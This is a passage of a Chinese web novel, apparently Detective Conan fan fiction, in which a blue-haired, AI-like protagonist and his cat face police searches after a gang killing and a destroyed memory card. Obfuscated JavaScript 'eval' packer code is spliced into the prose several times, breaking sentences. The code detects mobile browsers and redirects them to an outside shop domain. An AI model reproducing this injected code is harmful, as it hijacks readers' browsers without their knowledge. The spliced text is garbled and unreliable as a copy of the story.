诸伏景光看了一眼乖乖蹲坐在知原知也肩膀上，一下一下用力吸人的猫咪小姐，欲言又止，止又欲言。 “知原君……” “嗯？” “猫咪小姐的体重……抱歉，我没有别的意思，我是想说，猫咪如果太胖了的话，是会影响身体机能和寿命的。所以……猫咪小姐是不是该稍微控制一下饮食？” 知原知也瞬间睁大了眼睛：“猫咪小姐只有23斤，还在猫咪合理且健康的体重区间里！” ——猫咪小姐才没有超重！这完全是正常体型，是绝对不需要减肥的程度！ 知原知也顶着一张面瘫脸，试图用眼神谴责诸伏景光：“比起苛责猫咪小姐的体重，诸伏或许需要考虑加强一□□训强度，以应对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655595|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕业后充满挑战的警察生活。” 被指责训练不够努力的诸伏景光：“…………” ——居然只有23斤吗……身体怎么有种负重80公斤拉练后才有的酸痛感…… 旁边围观了全过程的小船真一：“…………” ——之前不是还说体重是女士的秘密吗？！怎么现在突然就这么轻易就说出来了？还是说这个所谓的秘密其实是对人不对事的啊？？ “……” “……” 稍显炸裂的23斤论，让现场短暂陷入了诡异的安静。 降谷零看了看无语凝噎的诸伏景光，又看了看理直气壮的知原知也，目光最后落到那只先前差点把自己一头创飞的半挂胖猫身上。 他沉默一瞬：“你确定……猫只有23斤吗？你家秤是不是不太准啊，知原君？” 知原知也非常坚定地摇头：“不会。” “但为什么是23斤？”伊达航不理解。 知原知也想了想：“因为武器库四级危险品的评判标准是重量达到24斤。” 而猫咪小姐的体重，不多不少，刚好差一斤，够不上四级危险品标准。 嗯。 是可以日常带出门晒太阳，而不会违反新世纪公约的程度。 知原知也为自己的机智暗暗点了个赞。 ——办法总比困难多，自己果然是同批次里唯一搭载了高维智能的智能体！ 听到这个荒谬言论的所有人：“…………” 把猫咪当成危险品去衡量体重什么的……知原君/知原先生的精神状态，真的没有什么问题吗？ 怀着对知原知也精神状况的无比担忧，目暮十三轻咳一声，引开了众人的注意力。 目暮警官指了一下五个蓝衬衣年轻人，对小船真一介绍：“这几位是这一期的警校生，还没毕业，但能力很强，帮了搜查一课不少忙，自述今晚是来这里完成一件‘寻找走失猫咪’的协助任务的。” 这么说着，他又指了一下另一个孤零零站在一旁的络腮胡男人：“这位是三木宏达，自述是来此夜跑的路人，职业是沢田修车行的一位员工。” 沢田修车行…… 知原知也给猫顺毛的动作顿了顿，目光从失而复得的猫咪小姐身上挪开，看向目暮十三手指的方向。 他快步靠了过去。 “——三木先生，晚上好。今晚夜色不错。” 三木宏达点了点头，冲知原知也一笑，习惯性拍了拍知原知也的肩膀：“真巧啊，知原君，你也是来这里夜跑的吗？” 知原知也摇头：“路过。” “那你运气还真是一如既往的差啊，只是路过，就和我一样卷进了这起极道社团案件里、被当成了嫌疑人。” “……嫌疑人？”知原知也微微一怔。 直到此刻，他这才注意到一件事——无论是三木宏达，还是旁边已经开始接受小船真一问询的警校五人组，都是身材高大、体魄强健的成年男性。 换句话说…… 他们都符合今晚聚集于此、企图追杀有理小姐的极道社团杀手的全部特征。 ——怪不得会被搜查一课的警官们破例扣留在不宜有外人旁观的案发现场，原来是被当成犯罪嫌疑人了啊。 知原知也有些同情地想。 极力搜索数据库，他很快找出一些符合语境的安慰句，企图套公式，拍拍肩膀安慰一下这位遭到无妄之灾的前辈，可刚一抬手，突然愣住了。 微微歪头，知原知也那双奇异的异色瞳孔，直勾勾盯着自己肩膀处、刚才被三木宏达拍过的位置。 那里…… 一片干净。 什么印记都没有。 25.记忆卡碎片 知原知也直勾勾盯着三木宏达。 一模一样的脸，一模一样的身材，就连声音和神态都和周五分别时如出一辙…… 唯一不同的是，三木宏达那双因为经常接触机油和零件而总是沾满机油的手，此刻，干净如初。 “——今天，轮到三木先生轮休了吗？” 知原知也问。 三木宏达点头，“嗯”了一声，不笑的时候满脸络腮胡让他看上去有些不好接近：“这个周末的排班没有我，今天休息，就没去店里。” 休息么…… 那确实不需要再接触机油或者零件了。 知原知也点点头。 他刚想再说点什么，身后忽然就传来小船真一的一声呼唤：“知原先生，麻烦过来一下！这里有一样东西需要你辨别一下！” “……来了。” 转身快步走上勘察踏板，知原知也来到小船真一的身边，顺着对方手指的方向看去时，不由得微微一怔。 “这是……” “是犬类的脚印。”小船真一肯定了知原知也的猜测，“我们怀疑，这群杀手里，有人带了追踪犬，目的就是为了彻底杀死那位废楼里发现的死者——晴海有理小姐。” ——小船警官用了“彻底”这个词。 知原知也想了想：“您的意思是……这些人，其实是打算对有理小姐灭口吗？” “对。” 小船真一看着知原知也的眼睛，深黑色的瞳孔微微眯起，在光线暗淡的夜色中，呈现出一片近乎凝固墨水一般的漆黑不见光。 他舔了舔唇痣，语气有些不自觉的加重，意有所指道：“或许是那位死去的有理小姐意外得知了一些他们社团的秘密？也或许是有理小姐手里，掌握着某样不该被她窥探并得到的东西……总之，她知道的太多，所以才招来了这场灭口行动。” “——知原先生。” 小船真一说。 “你是有理小姐死前最后一个见到她的人。你见到她的时候，有发现她随身携带什么可疑的东西，或者有试图藏匿什么东西的动作吗？” 知原知也：“……” 异色的瞳孔倏忽对上小船真一的。 知原知也静静注视着他。 小船真一没有分毫闪躲，锐利中隐藏疑似冰冷与探究的眼，也一瞬不瞬直勾勾凝视着知原知也。 漆黑与蔚蓝色相交织，彼此撕咬、吞并。 怀疑…… 平静。 审视…… 漠然。 截然相反的两道目光彼此交汇。 小船真一直勾勾注视着知原知也，企图观察对方脸上的细微表情变化，然而注意力，却完全无法抗拒地、一点一点被那只蔚蓝色的右眼中所蕴藏的危险漩涡所吸引。 深邃的，浩瀚的，理性的，冰冷的…… 流动的蔚蓝形成某种近乎魔魅的吸引力，让小船真一几乎挣脱不了分毫，只能眼睁睁看着自己被漩涡所席卷，然后慢慢溺毙在那片无垠的蔚蓝海平面之下…… “……” 濒死的窒息感油然而生！ 小船真一的眼底，飞快闪过了一抹恍惚。 就在小船真一所承受的压力即将抵达极限、精神状态濒临崩溃之际，知原知也率先移开了目光。 一片天旋地转中，他听见对面那个性格古怪、来历神秘的异瞳青年嗓音冰冷，淡淡说： “——有的。” 有…… 的？ 小船真一愣愣地看着知原知也。 知原知也却撇开眼，抚摸着猫咪小姐的颈毛，慢吞吞说：“在她被我扭断四肢、控制住行动之后，曾经问过我一个问题。” “她问我——‘你来找我，也是为了那样东西，是不是？’” 那样东西？！ 一瞬间！ 小船真一的呼吸陡然变得急促起来！ 他骤然睁大眼，恍惚黯淡的眼眸骤然迸发出异样的亮光，语气急促地问： “——那你是怎么回答的？！她把那东西给你了吗？！那东西现在在哪儿？” “回答？” 知原知也抚摸猫咪的手顿了顿，指尖向下，轻轻抚摸了一下端坐在自己肩膀上的、猫咪小姐的原始袋。 不知道是不舒服还是不习惯，原本还在眯着眼打呼噜的猫咪小姐，忽然睁开那双浅黄色的猫眼，默默凝睇了知原知也一眼。 片刻后。 没有抗拒知原知也抚摸自己肚皮的手，猫咪小姐默默换了个姿势，兢兢业业地继续给人类小弟舔理起了那头艳丽的蓝色长发。 知原知也捏了捏猫咪小姐软乎乎的小肚腩，指尖一抹，片刻后，抽出手，轻轻揉了揉猫咪小姐的脑袋。 “我什么都没说。” 小船真一瞪大眼，满脸写着不可置信：“不可能！！你——” “——我的确什么都没说，”知原知也垂着眼，打断他的话，漫不经心地给黏在自己肩膀上撒娇的长毛三花顺毛，“不过，我建议鉴识课的警官好好检查一下有理小姐的口腔和食道。” 小船真一：“……” 小船真一：“…………” 漫长的一阵沉默过后，他似乎终于渐渐冷静了下来。 皱眉注视着正在专心逗猫的知原知也，小船真一沉默一会儿，说：“你是想说，你看到有理小姐死前把那个……那东西吞进肚子里了？” 知原知也没说话，只是低头，亲昵地和猫咪小姐贴了贴额头。 “咪~咕噜咕噜咕噜~” “嗯？我也喜欢猫咪小姐哦。” 小船真一努力插入话题：“知原先生……” “喵呜~” “罐头在包里，等下回去开。” 小船真一试图打算：“知原……” “咪嗷~” “……”知原知也看了一眼正在认认真真回答问题、配合人类警官做笔录的三木宏达，片刻后收回目光，挠挠猫咪耳根，“下次离开之前和我说一声，好吗？我会担心的。” 小船真一欲言又止：“……” “咪呜~”猫咪小姐勤勤恳恳，一边将知原知也的帅气的狼尾长发舔成大背头，一边忙里偷闲、短暂爱一下人类，喵喵咪咪随口敷衍两声。 知原知也有些不满：“猫咪小姐……” “咪！”知道了知道了，人，你好烦！ 知原知也一秒变灰，抱着猫，委屈巴巴躲到一旁对线去了。 小船真一无语凝噎：“…………” 在发现对方完完全全就是一副不打算再跟自己多说什么的态度后，小船真一也没了脾气。 威逼是不可能威逼的。 利诱自己又没有筹码…… 微微叹了口气，小船真一终于是别开眼，不再去看那对黏黏糊糊的奇怪主宠。 招手叫来一名警员，他同对方飞快耳语了两句。 警员面露迟疑：“小船长官，这……不太好吧？这种涉及到极道组织的案子，一般是由组织犯罪对策部接手的，我就这样去找他们要案情资料，算是跨部门越权行为了……” “那又怎样？”小船真一很不客气，冷冷一笑，“你告诉组对的人——公安享有最高搜查权，如果他们不想让公安部的长官亲自出面调阅这案子的前后资料，那就老老实实把这个案件的全部细节共享给我和搜查一课这边。” 警员：“……” 警员一言难尽地看了眼这位公安部空降到搜查一课的临时话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664111|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事人，最终还是没能反驳什么。 犹犹豫豫地走到一旁，警员开始小声给鉴识课的同事和科搜研那边打电话了。 不一会儿。 警员拿着手机，满脸兴奋地跑向小船真一。 “——小船长官！查到了！医科大学在验尸的时候，的确从有理小姐的口腔里发现了许多黑色不明物碎片，重新拼合之后，确认是一枚记忆卡！” “碎片能修复吗？”小船真一不抱太大希望地问。 “不太行……”警员原本高涨的情绪忽然低落了下来，沮丧道，“那些碎片实在太精密了，又被血水和唾液浸泡了这么长时间，虽然外观能拼回原貌，但里面的内容已经全部损毁，无法再导出了……” “……” 小船真一瞥了一眼不远处的蓝发男人的背影，眉心紧缩。 “技术手段也没办法恢复吗？” “是……” “知道了，你先去忙别的吧。” 警员鞠了一躬，飞快离开了。 站在原地，小船真一沉默良久，像是在思考、亦或是在犹豫着什么。 片刻后，仿佛终于下定决心似的，他快步走近知原知也。 “知原先生。” 猫咪小姐身体僵了僵，忽然改蹲为趴，将自己圆滚滚的身体小心翼翼蜷缩在了知原知也的肩膀上。 知原知也摸了摸她的脑袋，像是在安慰。 他转过头，看向小船真一：“小船警官找我，有什么事吗？” 小船真一弯唇一笑，神情恢复了之前的从容温和：“是这样——虽然有理小姐被发现时，呈现出的是开枪自杀的场景，但考虑到知原先生在那之前和有理小姐有过肢体冲突，并且在今天之前还曾和有理小姐的前男友发生过矛盾的关系，因此，在详细的尸检报告没出来之前，知原先生这几天，恐怕需要暂时呆在家里、随时等待警方传讯了。” 知原知也点点头，表示理解。 “我会请假的。” “知原先生目前住在哪里呢？不知是否方便告知，之后警方这边如果有什么疑问，也好上门问询。” 想了想，知原知也很快报出一串地址。 小船真一点头，在自己的笔记本里飞快记下。 “还有什么问题吗？”知原知也看他运笔如风，记录完信息后，很有礼貌地问，“如果警方有需要，我一定会尽力配合……但，抱歉，今天时间有点晚了，猫咪小姐需要休息了。” 话音未落。 知原知也肩膀上的胖猫，就相当巧地张开嘴，迷迷瞪瞪地打了个大大的呵欠。 小船真一笑容一顿：“……当然。知原先生离开前再配合一下搜身，确认没有带走现场物证之后，就可以先回家去了。” 不知道是不是错觉…… 知原知也总觉得，对方在“搜身”这个词上，所用语气格外之重。 似乎意有所指。 猫咪小姐贴着知原知也的脸颊，懒洋洋“咪呜”了一句。 知原知也拍拍她，很好说话地冲小船真一点了点头：“好的，那我先把猫咪小姐交给我的同伴代为照看。” 谁知小船真一却说： “——没关系，带着猫咪小姐也不会影响什么的。我知道你们感情深厚，一起去吧，检查完就可以走了。” 知原知也：“……” “知原先生？”看着站在原地没有动弹的知原知也，小船真一疑惑道，“还有什么事吗？” “……”知原知也沉默地摇了摇头。 他看了一眼神色关切的小船真一，最终没说什么，抱着猫，走向一旁正在组织警员对五名警校生、还有一个自称来春湖公园夜跑的三木宏达做最后的搜身检查的目暮十三身边。 26.毛结 知原知也又一次接受了搜身检查。 相较于第一次的细致，这一次，由目暮警官亲自监督的搜身检查，氛围就要稍微和缓些了。 目暮警官有些歉意地看着知原知也：“不好意思啊，知原老弟，但这是规定——在中途转移了搜查现场的情况下，涉案人员需要接受二次检查，以防夹带案件相关物品离开现场。” 知原知也点头：“理解。工作要紧，我会配合。” 他将外套脱下，只穿着一件紧身的黑T，结实饱满的肌理在勘察灯下勾勒出大片起伏的阴影。 “哟——” 松田阵平痞痞的吹了声口哨：“身材很不错嘛，知原！经常运动？还是健身房加蛋白-粉练出来的？” 知原知也低头，看了眼自己在黑T包裹下，显得愈发棱角分明的腹肌。 “出厂自带。” 松田阵平：“……” 上一秒还笑容满面的人类，突然面无表情地转过头，不再搭理知原知也了。 知原知也一头雾水。 他转眸看向松田阵平的同期们，试图通过他们的反应判断松田阵平情绪变化的原因。 然后他就看到了几个捂着肚子，憋笑憋得面红耳赤的人类。 知原知也：“……” 知原知也疑惑：“你们在笑什么？” 降谷零揉了把脸，一本正经：“我们想到了高兴的事。” “什么高兴的事？” 紫灰色的眼底噙着笑，降谷零很刻意地瞥了一眼松田阵平，笑得促狭：“我好像在健身房看到过某人练健腹轮。” 知原知也转眸看向旁边的诸伏景光。 诸伏景光也笑眯眯举手，作证道：“我也看到了。” 然后，不等知原知也看过来，萩原研二非常主动地举手，眉眼弯弯：“还有我，还有我！” “？” 知原知也看看这个，又看看那个，片刻后，头顶缓缓冒出一个问号。 “你们……去的是同一家健身房？” 伊达航轻咳一声，咬着牙签，眼底因为含着笑意，在黑夜中显得闪闪发亮：“对，警校里只有一间健身房。” “…………” 知原知也看看四个凑在一起挤眉弄眼、坏笑连连的人类，又看看旁边孤零零一个人生着闷气接受检查的松田阵平，陷入沉思。 …… 给知原知也做搜身检查的，是一名搜查一课的警官。 他对知原知也很熟悉。不，应该说，整个搜查一课、乃至不少组织犯罪对策部的警官，都对这个经常刷新在警视厅里做补充笔录的热心市民知原君非常熟悉。 此刻，这位警官一边笑着听知原知也和同伴们开玩笑，一边快速搜过了知原知也的身。 着重检查了那三枚密封完好、没有拆封夹带痕迹的猫罐头后，他的目光，落在了趴伏在知原知也肩膀上的三花猫上。 “知原先生，”把手伸向猫咪之前，警官半开玩笑地问，“您这只猫凶不凶？会抓人吗？” “会哈人。” 知原知也非常诚实地说，然后就被恼羞成怒的猫咪小姐凶巴巴地“哈”了一口。 “……” 知原知也淡定地拍拍猫咪小姐的脑袋，转头对警官说：“——看，就像这样。” “哈哈哈哈哈哈哈哈！” 警官笑得有些停不下来。 他忽然觉得，虽然知原先生总是冷冰冰的一副扑克脸，但有时候说话也很有趣，甚至于就连和知原知也关系不错的这五个警校生和猫咪，都是很有意思的存在。 不过有趣归有趣，检查还是要做的。 知原知也伸手，把猫从自己肩膀上摘下。递给警官之前，他看着猫咪小姐，轻声说：“猫咪小姐会配合的，对吗？” 猫咪小姐睁开眼，黄澄澄的瞳孔盯着知原知也看了一阵，软绵绵地“咪”了一声。 知原知也点点头，将老实不少的猫咪递给了警官先生。 警官先生一脸惊奇：“知原先生能和猫咪沟通吗？它刚才说了什么？” “猫咪小姐说，让你轻一点，舔毛很辛苦的。” “哈哈哈哈哈哈哈哈！” 知原知也：“……” 知原知也有些困惑地看着这位一边检查猫咪，一边笑得满脸出褶的警官先生，不理解对方到底在笑什么。 自己说了什么很好笑的东西吗？ 人类的情绪还真奇怪，就这样也能很快乐。 不过…… [快乐]吗。 知原知也仔细品味着这个词。 就在不久前，那位死去的有理小姐曾经问过知原知也，问他知不知道什么叫做快乐。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668118|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个时候，知原知也给出的答案是——‘快乐就是，在抚摸猫咪小姐皮毛的时候’。 那时候知原知也觉得这个答案没问题，非常符合自己的颅内数据波动。 但在那之后，知原知也又深入思考了一下这个问题。 就像人类的外貌长相、兴趣爱好各不相同，也许对于每一个个体来说，快乐的定义，都是不一样的。 就像之前，四位重要npc会因为一个健身房笑话而笑得开怀； 就像现在，这位正在对猫咪小姐搜身的警官先生，莫名其妙因为自己的一句中规中矩的答案而笑到直不起腰…… 那这样的话，应该怎么去全方位理解“快乐”呢？ 知原知也的右眼闪烁着荧蓝色的数据流，眼底困惑中，夹杂着一丝丝的敬佩。 想不明白…… 就连千年后的高维智能板块，竟然也无法理解千年前人类的情感变化吗…… ——人类的情感，真是一个复杂而玄奥的命题啊。 思忖中，一声询问，忽然唤回了知原知也注意力。 “知原先生！” 警官先生站在警备车前盖旁，指尖在猫咪小姐飘逸柔美的长毛里翻找一阵后，捏起一小团打结的毛毛： “——知原先生，这里面是什么？” 知原知也眸光一闪。 上前两步，伸手，他接过对方捏住的那一小团毛毛，指尖灵巧穿插、拆解。 片刻后。 知原知也将那一小团猫毛徒手开结，从里面取出一小枚棕黑色的果实，交给警官先生：“是干掉的苍耳，不小心挂在了猫咪小姐的皮毛里。” “哎？”警官先生一愣，疑惑挠头，“但这个季节，苍耳应该还没成熟吧？” “是去年的苍耳吧？”已经搜身结束警校五人组凑了过来，伊达航接过苍耳，捏了捏，“碎了。看来是已经风干了的陈年苍耳。可能是附近很少有小动物经过，所以一直没能被带走，一直安安静静待在自己成熟掉落的草丛里。” “啊。那这么说起来……猫咪小姐的长毛毛里，该不会全部都挂满了苍耳吧？” 萩原研二表情凝重，看着猫咪小姐那一身蓬松如同毛球的漂亮长毛，伸出手，小心翼翼地梳了梳。 果不其然。 他的手指，在下一秒，就被一团打结的毛发卡住了。 27.事件高发期 “这……” 在场几人都傻眼了。 警官先生也犯了难。 这种情况下要搜猫咪的身的话，光是梳毛，恐怕都得梳到天亮了…… 但话又说回来，猫咪又不像人，应该不会在自己身上夹带私藏什么物证的吧？ 要说猫咪主人藏物证倒还说得过去，但如果猫咪的主人是知原先生的话…… 他看了一眼站在一旁，表情冷淡、神色专注给猫咪开结的蓝发男人，在心里对自己摇了摇头。 ——如果是一个月见义勇为二十多次、帮助警方按倒了十几名穷凶极恶的罪犯的知原先生的话，是绝对不会做出那种事情的！ 心里这么想着，警官先生面上还是认认真真履行了自己的职责，顶着猫咪小姐愤怒的哈气声，仔仔细细把猫咪小姐从上到下检查了一遍。 “总共31处毛结。未发现可疑物。” 他这么说着，给了旁边的目暮十三一个肯定的眼神。 目暮十三摸了摸自己的小圆帽，有些不好意思地看着知原知也将被早已不耐烦的猫抱进自己怀里，熟练安抚：“抱歉，知原老弟，职责所在……耽误你时间了。” “没事。” 知原知也摇头：“我可以走了吗？” “当然，如果后期您回想起来关于这起案件的任何线索，欢迎随时联系搜查一课上报。” 在说到“搜查一课”的时候，目暮十三的语气略微加重了一点。 旁边同样在给三木宏达搜身的组对警官一脸无语，“喂”了一声：“我说，这种和暴力团有关的案件，应该归我们组织犯罪对策部处理吧？知原先生就算是有线索，也该先联系我们组对啊！” “……”目暮十三其实是有点气虚的。 但，在热心市民知原先生和几位涉案人员都在旁边看着的情况下，身为搜查一课的警官，他只能目不斜视，一板一眼说：“小田切课长目前在休假中，搜查一课由小船真一长官代理。如果组对有疑问，可以找小船长官直接反应。” ……那和直接闭嘴有任何区别吗？！小船真一刚才可是直接把电话打到组对部长那里问线索了啊！ 就没见过这么强势霸道的刑警，该说不愧是公安部退下来的吗？！ 组对警官风中凌乱。 …… 接受完最后的搜身检查后，知原知也抱着猫，谢绝了小船真一发出的顺风车请求，选择了和警校生们、还有三木宏达前辈一同压马路返回米花町。 “——知原君是要回家吗？要不要我们送你？” 诸伏景光看了一眼困得睁不开眼的猫咪小姐，以及稳稳抱着猫咪小姐的知原知也，体贴提议。 能抱着一辆半挂稳稳当当走这么久，知原君还真是臂力惊人啊…… 萩原研二闻言，也说：“是啊是啊，最近东京都不太平，听说前段时间千鸟公寓那边就抓到了一个杀人犯呢！据说那家伙在自己的房间里贴满了被害人的照片，甚至还从杀人分尸的现场带回了一缕死者的头发……感觉超级变态的！” ……千鸟公寓？ 知原知也脚步微顿，面色平静，淡淡道：“他没有带回头发，带回来的是一根手指。” 萩原研二一脸懵：“是、是这样吗……” “嗯。” “但这起案件还没对社会公开吧？知原君怎么对案件细节了解得这么清楚的？”降谷零侧头看着知原知也的脸，有些好奇地问。 知原知也淡定道：“因为是我报的案。我就住在千鸟公寓。” 降谷零：“啊？” 知原知也略微思忖，顿了顿，很快补充道：“手指也是我在隔壁房间里发现、然后报告给鉴识课的警官提取物证的。” 五人：“啊？？” ——这么可怕的事，用一种司空见惯的平静语气说出来，真的没问题吗？！ 深吸了一口气，伊达航用一种欲言又止的表情看着知原知也，略微沉吟，委婉道：“知原君有没有觉得，你身边的事件发生率……稍微有些高啊？” 事件发生概率？ 知原知也认真对比了一下，否定了这个说法：“还好吧，不都是这样吗？那个人不在，我目前遇到的事件发生率已经很低了，甚至都没有触发事件高发期。” 毕竟副本世界都是围绕玩家展开的，如果玩家没有走丢的话，自己跟在玩家身边，应该是会直接插入主线，和「极恶都市」副本来一场酣畅淋漓险死还生的大决战吧？ 当然是不塞魔鬼椒的那种大决战…… 五个人被知原知也这番话当场惊呆了。 ——什么！？知原君上个月都遇到二十多起案子了，这居然都还不是事件高发期吗？？ 那知原君之前处于事件高发期内的生活，得是怎么样的险象环生啊！ 五个人面面相觑，对视一眼，都从彼此脸上看出了震撼和一言难尽。 松田阵平半月眼，狐疑地问：“喂喂，知原——你说的那个人，该不会是什么犯罪引导师之类的危险角色，专门在你身边制造恶性事件，害你陷入水深火热中后，自己躲在一旁欣赏自己的杰作吧？” ？ 知原知也莫名其妙地看了一眼松田阵平。 “没有那种事。那个人虽然有时候性格比较奇怪，但不会做出这么缺德的事的……” 说着说着，知原知也忽然就想起了，自己以前带过的那一群奇形怪状的玩家们，曾经干出来的、令人眼前一黑的离谱操作。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673168|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >什么要求「孤儿怨」副本的敌对npc带家长来参加亲子运动会啦，什么把虫族背景的香水专柜试用装替换成杀虫剂啦，什么给西幻背景的npc投喂五仁月饼啦…… 之类的………… 知原知也：“……” 知原知也：“…………” 可怕的回忆一点点涌出，知原知也突然之间，就就对自己嘴里的话失去了信心…… 他摸了摸自己的胸腔，感觉一颗不该存在的良心，此刻正在隐隐幻痛。 “嗯……应该，可能，大概……大多数时候不会做这么缺德的事……吧？” 突然就理解了放逐自己的主脑是怎么回事…… 知原知也陷入沉思。 …… 走出春湖公园、进入中心城区，一行七人便要各自分道扬镳了。 拒绝小伙伴的护送请求后，知原知也看向一旁沉默了一路的三木宏达：“三木先生要跟我一起吗？您的住址，好像和我的公寓所在地区在同一个方向。” 三木宏达点点头。 两人于是并肩而行。 一轻一重两道的脚步声在夜色笼罩下的东京街头扩散开来，两人有一搭没一搭地聊着天。 知原知也说：“今晚早些时候，我看到有个孩子，似乎是和朋友比赛时输了球，抱着球，哭着从春湖公园里跑出来。” “啊。” “那孩子哭的很伤心，我稍微有些不放心……前辈既然是在公园里夜跑，有看到过那孩子吗？” 三木宏达点了点头，回忆了一阵，笑着说：“嗯，很精彩的射门。那孩子输得不冤。” “……” 果然。 知原知也一顿，眸光从对方那把几乎覆盖了大半张脸的络腮胡上一扫而过。 【滴！扫描结束！发现npc三木宏达——沢田修车行的老前辈，对你十分关照。不知道为什么，今晚的他心情似乎不太好，言谈举止也不如以往开朗豪放……】 “……” “……” 两相无言，各自沉默。 半小时后。 驻足在千鸟公寓大门前，知原知也抱着猫，转身，看向站在路灯下、冲着自己挥手道别的三木宏达。 “三木先生。” “什么事？” 三木宏达疑惑。 “周一的时候，三木先生还会来上班吗？” 月光之下，三木宏达那张大半被络腮胡掩藏的脸，似乎微微动了动。 “……当然。” “好的，”知原知也抱着猫，举起猫咪小姐的一只前爪，冲三木宏达轻轻挥了挥，“晚安，三木先生。路上小心。祝您做个好梦。” “晚安……知原君。” 28.打劫 【用金属香烟盒假装枪支抢劫……这是人类和同类打招呼的方式之一吗？ 很奇特。】 ——节选自《人类观察日志·RN0947》 —————— 翌日，千鸟公寓，2303室。 “……本台记者报道，春湖公园枪击案，总共18人参与，造成共计4人死亡，伤者数量暂不明确，请各位市民夜间出行时注意安全，如遇危险，请立刻……” 主持人甜美的嗓音从电视机里传出。 沙发上。 蓝发异瞳的男人半个身体陷进柔软舒适的沙发里，怀里抱着一只三花猫，手里握着一把造型精巧的木质密齿梳，动作轻柔而灵巧地，为猫咪梳理着打结的飘逸长毛。 翻开毛发…… 梳散毛结…… 十分钟后。 蓝发男人放下木梳，从猫咪肩胛部位那团已经被梳散开的长毛里，慢慢捏出来一枚棕黑色的果实来。 “21。” 随手把第21枚苍耳扔到茶几上，男人神情冷漠，伸手拍拍怀中猫咪的小肚皮：“猫咪小姐，麻烦翻一个面。” 三花猫夹着嗓子，甜腻腻地“咪~”了一声，身体却不动弹。 “……” 男人沉默了一下，试图和猫讲条件：“一根猫条。” “咪~” “……两根。” “咪呜~” “一个罐头，多的没有了。家里存粮耗尽，今天需要去商店补充物资了。” 猫咪黄澄澄的眼睛一眨不眨盯着男人。 男人一如既往面无表情，眼神冷冷地回视猫。 “……” “……” 两相僵持。 半晌后，确定再也没有多的讲条件余地之后，猫咪慢吞吞地冲男人眨了一下眼，一蹬爪爪，利索翻了个身。 手腕皮肤被超级大胖猫用力蹬出一个红印的蓝发男人：“……” 于是继续任劳任怨梳毛。 …… 两个小时后。 日上三竿，早间新闻不知何时悄然结束。电视里播放的画面，已经从春湖公园的现场实拍，换成了电视购物节目。 慢条斯理从猫咪尾巴里取出最后一颗棕黑色果实，男人放下梳子，歪头欣赏了一下从头到脚一尘不染闪闪发光的猫咪，非常满意地点了一下头。 “30。梳完了。” 昏昏欲睡的猫咪一甩尾巴，尾尖轻轻搭上男人手腕。 “咪呜……” “今天天气很好，猫咪小姐可以再睡一会儿。”男人动作轻柔地抱起猫，把猫从自己的大腿上转移到一旁那只蓬松柔软的沙发靠垫上去。 想了想，他站起身，从电视下方的小矮柜里摸出最后一罐猫罐头，拉开拉环后，将罐头放置在了距离沙发最近的茶几上。 “饿了，就吃这个。” 他很贴心地提醒。 猫咪懒洋洋地抖了抖尾巴，“咕噜”一声，像是在说知道了，随即翻了个身，把耳朵埋进自己暖烘烘软乎乎的肚皮里，再不理人了。 “……” 男人哑然。 猫咪已然摆出一副谢绝打扰的姿态，男人略显失望，思考一阵后，决定还是应该先去处理自己的事，等猫咪小姐睡醒之后再和对方培养感情。 这么想着，男人转身回到茶几边，掏了掏蓝白相间的机车服外套口袋，从里面摸出了一只有些眼熟的透明物证袋。 透明物证袋空空如也，只有右上角贴了一个小标签，上面写着——[无拉环猫罐头x1，指纹若干，已提取。联系人知原知也，电话：xxxxxx]。 “……” 沉默地撑开透明物证袋，男人将茶几上那一小撮棕黑色的苍耳果实全部扫落进袋子里，然后垂眸，扫了一眼袋子。 “30……还差一个。” 目光在室内逡巡，男人思考半晌，跨入阳台。 公寓的阳台并不大，狭窄的空间里，上方的晾衣杆上挂着一件已经清洗干净的藏蓝色警校生制服衬衣，下方，则摆满了许多郁郁葱葱的猫草和绿植盆栽。 在一种盆栽之中挑挑拣拣，男人最终选中了一盆最常见的菖蒲，比了比大小后，掐下一小段枯黄的枝叶一并丢入物证袋里，用力摇晃均匀。 “抱歉，借用一下。” “……” 